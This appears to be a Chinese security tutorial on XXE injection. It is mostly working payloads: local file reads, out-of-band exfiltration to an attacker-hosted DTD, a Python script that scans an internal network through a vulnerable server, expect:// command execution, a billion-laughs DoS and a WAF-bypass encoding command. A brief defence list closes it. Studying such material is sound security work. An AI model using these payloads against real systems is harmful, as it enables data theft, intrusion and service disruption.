介绍 XXE 之前,先来说一下普通的 XML 注入,这个的利用面比较狭窄,如果有的话应该也是逻辑漏洞

XML基础

XML 指可扩展标记语言(Extensible Markup Language),是一种用于标记电子文件使其具有结构性的标记语言,被设计用来传输和存储数据。XML文档结构包括XML声明、DTD文档类型定义(可选)、文档元素。目前,XML文件作为配置文件(Spring、Struts2等)、文档结构说明文件(PDF、RSS等)、图片格式文件(SVG header)应用比较广泛

XML 的语法规范由 DTD (Document Type Definition)来进行控制

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
<?xml version="1.0" encoding="ISO-8859-1">           //xml声明

<!DOCTYPE note [
<!ELEMENT note (to, from, heading, body)>
<!ELEMENT to (#PCDATA)> //文档类型定义
<!ELEMENT from (#PCDATA)>
<!ELEMENT heading (#PCDATA)>
<!ELEMENT body (#PCDATA)>
]>

<note>
<to>George</to>
<from>John</from> //文档元素
<heading>Reminder</heading>
<body>Don’t forget the meeting</body>

#PCDATA:在DTD中,指定某个标签中的内容是字符数据。它的内容需要解析器来解析,需要转换> < & ‘ “这5个特殊字符

1
2
3
在DTD中声明:
<!ELEMENT name (#PCDATA)>
它表示在<name>和</name>标签之间可以插入字符或者子标签

:内容不必被XML解析器解析时使用,经常把程序代码嵌入到

1
2
3
4
在XML中声明:
<![CDATA[
if(i<10){ System.out.println("i<10"); }
]]>
image-20230323090552907 image-20230323091338632

在解析 XML 时,实体将会被替换成相应的引用内容,xml文档如下所示:

(1) 包含内部实体的 XML 文档

image-20230323091508406

(2) 包含外部实体的 XML 文档

image-20230323091526527

XML 解析器解析外部实体时支持多种协议

image-20230323092806811

XXE

XXE(XML External Entity Injection) 全称 XML外部实体注入,从名字就能看出来这是一个注入漏洞,注入的是XML外部实体

一般实体:

1
2
3
4
5
6
7
8
<!ENTITY 实体名称 "实体内容">
引用一般实体的方法:&实体名称;
例:
<?xml version="1.0"?>
<!DOCTYPE ANY [
<!ENTITY test SYSTEM "file:///etc/passwd">
]>
<abc>&test;</abc>

参数实体: (在 Blind XXE中起到了至关重要的作用)

1
2
3
4
5
6
7
8
9
10
参数实体的声明:<!ENTITY % 实体名称 "实体内容">
引用参数实体的方法:%实体名称;
例:
<?xml version="1.0"?>
<!DOCTYPE a [
<!ENTITY % file SYSTEM "php://filter/convert.base64-encode/resource=c:/test/1.txt">
<!ENTITY % dtd SYSTEM "http://localhost/evil.xml">
%dtd;
%send;
]>
有回显

读文件(文件内无特殊符号)

1
2
3
4
<?xml version="1.0" encoding="utf-8"?> 
<!DOCTYPE creds [
<!ENTITY goodies SYSTEM "file:///c:/windows/system.ini"> ]>
<creds>&goodies;</creds>
image-20230323101903525

读文件(文件有特殊符号)

例如下面这个,有< >等

image-20230323101935886

用上面那种方法是不成功的,会报错

image-20230323102056593

这时就要用到上面说的 CDATA + 参数实体

1
2
3
4
5
6
7
8
9
<?xml version="1.0" encoding="utf-8"?> 
<!DOCTYPE test [
<!ENTITY % start "<![CDATA[">
<!ENTITY % goodies SYSTEM "file:///d:/test.txt">
<!ENTITY % end "]]>">
<!ENTITY % dtd SYSTEM "http://ip/evil.dtd"> %dtd;
]>

<test>&all;</test>

evil.dtd:

1
2
<?xml version="1.0" encoding="UTF-8"?> 
<!ENTITY all "%start;%goodies;%end;">
image-20230323103045696
无回显

将读取的文件带出来

1
2
3
4
5
6
7
8
<?xml version="1.0"?>
<!DOCTYPE message [
<!ENTITY % remote SYSTEM "http://ip/xml.dtd">
<!ENTITY % file SYSTEM "php://filter/read=convert.base64-encode/resource=file:///c:/test.txt">
%remote;
%send;
]>
<message>1</message>

vps上的xml.dtd

1
<!ENTITY % start "<!ENTITY &#x25; send SYSTEM 'http://ip/?%file;'>"> %start

&#x25是%的html实体编码,因为在xml.dtd的实体中不能有%

在日志文件中就能看到读取的文件

image-20230323112919608

HTTP 内网主机探测

以存在 XXE 漏洞的服务器为我们探测内网的支点

要进行内网探测我们还需要做一些准备工作,我们需要先利用 file 协议读取我们作为支点服务器的网络配置文件,看一下有没有内网,以及网段大概是什么样子(以linux 为例),可以尝试读取 /etc/network/interfaces 或 /proc/net/arp 或 /etc/host 文件,就有大致的探测方向了

探测脚本:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
import requests
import base64

#Origtional XML that the server accepts
#<xml>
# <stuff>user</stuff>
#</xml>

def build_xml(string):
xml = """<?xml version="1.0" encoding="ISO-8859-1"?>"""
xml = xml + "\r\n" + """<!DOCTYPE foo [ <!ELEMENT foo ANY >"""
xml = xml + "\r\n" + """<!ENTITY xxe SYSTEM """ + '"' + string + '"' + """>]>"""
xml = xml + "\r\n" + """<xml>"""
xml = xml + "\r\n" + """ <stuff>&xxe;</stuff>"""
xml = xml + "\r\n" + """</xml>"""
send_xml(xml)

def send_xml(xml):
headers = {'Content-Type': 'application/xml'}
x = requests.post('http://34.200.157.128/CUSTOM/NEW_XEE.php', data=xml, headers=headers, timeout=5).text
coded_string = x.split(' ')[-2] # a little split to get only the base64 encoded value
print coded_string
# print base64.b64decode(coded_string)
for i in range(1, 255):
try:
i = str(i)
ip = '10.0.0.' + i
string = 'php://filter/convert.base64-encode/resource=http://' + ip + '/'
print string
build_xml(string)
except:
continue
image-20230323111403028
扫描内网端口
1
2
3
4
5
<?xml version="1.0" encoding="utf-8"?>  
<!DOCTYPE data SYSTEM "http://127.0.0.1:22" [
<!ELEMENT data (#PCDATA)>
]>
<data>1</data>

至此,我们已经有能力对整个网段进行了一个全面的探测,并能得到内网服务器的一些信息了。如果内网的服务器有漏洞,并且恰好利用方式在服务器支持的协议范围内,我们就能直接利用 XXE 打内网服务器甚至能直接 getshell(比如有些内网的redis未授权,或者有些通过 http get 请求就能直接getshell例如strus2)

JSON XXE

很多web和移动应用都基于客户端—服务器交互模式的web通信服务,一般对于web服务来说,最常见的数据格式都是XML和JSON。尽管web服务可能在编程时只使用其中一种格式,但服务器却可以接受开发人员并没有预料到的其他数据格式,这就有可能会导致JSON节点受到XXE攻击

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
原始请求:
HTTP Request:
POST /netspi HTTP/1.1
Host: someserver.netspi.com
Accept: application/json
Content-Type: application/json
Content-Length: 38
{"search":"name","value":"netspitest"}

原始响应:
HTTP Response:
HTTP/1.1 200 OK
Content-Type: application/json
Content-Length: 43
{"error": "no results for name netspitest"}

现在我们尝试将 Content-Type 修改为 application/xml

1
2
3
4
5
6
7
8
9
10
11
12
13
14
进一步请求和响应:
HTTP Request:
POST /netspi HTTP/1.1
Host: someserver.netspi.com
Accept: application/json
Content-Type: application/xml
Content-Length: 38
{"search":"name","value":"netspitest"}

HTTP Response:
HTTP/1.1 500 Internal Server Error
Content-Type: application/json
Content-Length: 127
{"errors":{"errorMessage":"org.xml.sax.SAXParseException: XML document structures must start and end within the same entity."}}

可以发现服务器端是能处理 xml 数据的,于是我们就可以利用这个来进行攻击

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
最终的请求和响应:
HTTP Request:
POST /netspi HTTP/1.1
Host: someserver.netspi.com
Accept: application/json
Content-Type: application/xml
Content-Length: 288
<?xml version="1.0" encoding="UTF-8" ?>
<!DOCTYPE netspi [<!ENTITY xxe SYSTEM "file:///etc/passwd" >]>
<root>
<search>name</search>
<value>&xxe;</value>
</root>

HTTP Response:
HTTP/1.1 200 OK
Content-Type: application/json
Content-Length: 2467
{"error": "no results for name root:x:0:0:root:/root:/bin/bash
daemon:x:1:1:daemon:/usr/sbin:/bin/sh
bin:x:2:2:bin:/bin:/bin/sh
sys:x:3:3:sys:/dev:/bin/sh
sync:x:4:65534:sync:/bin:/bin/sync....
其他

PHP expect RCE

由于 PHP 的 expect 并不是默认安装扩展,如果安装了这个expect 扩展我们就能直接利用 XXE 进行 RCE

1
2
3
4
<!DOCTYPE root[<!ENTITY cmd SYSTEM "expect://id">]>
<dir>
<file>&cmd;</file>
</dir>

利用 XXE 进行 DOS 攻击

1
2
3
4
5
6
7
8
9
10
11
12
13
<?xml version="1.0"?>
<!DOCTYPE lolz [
<!ENTITY lol "lol">
<!ENTITY lol2 "&lol;&lol;&lol;&lol;&lol;&lol;&lol;&lol;&lol;&lol;">
<!ENTITY lol3 "&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;">
<!ENTITY lol4 "&lol3;&lol3;&lol3;&lol3;&lol3;&lol3;&lol3;&lol3;&lol3;&lol3;">
<!ENTITY lol5 "&lol4;&lol4;&lol4;&lol4;&lol4;&lol4;&lol4;&lol4;&lol4;&lol4;">
<!ENTITY lol6 "&lol5;&lol5;&lol5;&lol5;&lol5;&lol5;&lol5;&lol5;&lol5;&lol5;">
<!ENTITY lol7 "&lol6;&lol6;&lol6;&lol6;&lol6;&lol6;&lol6;&lol6;&lol6;&lol6;">
<!ENTITY lol8 "&lol7;&lol7;&lol7;&lol7;&lol7;&lol7;&lol7;&lol7;&lol7;&lol7;">
<!ENTITY lol9 "&lol8;&lol8;&lol8;&lol8;&lol8;&lol8;&lol8;&lol8;&lol8;&lol8;">
]>
<lolz>&lol9;</lolz>

当有waf时,可以采用编码绕过

1
cat 1.xml | iconv -f UTF-8 -t UTF-16BE > x16.xml

防御

1、预定义字符转义

2、过滤用户提交的XML数据,关键词:SYSTEM和PUBLIC

3、禁用外部实体:libxml_disable_entity_loader(true);

你的知识面,决定着你的攻击面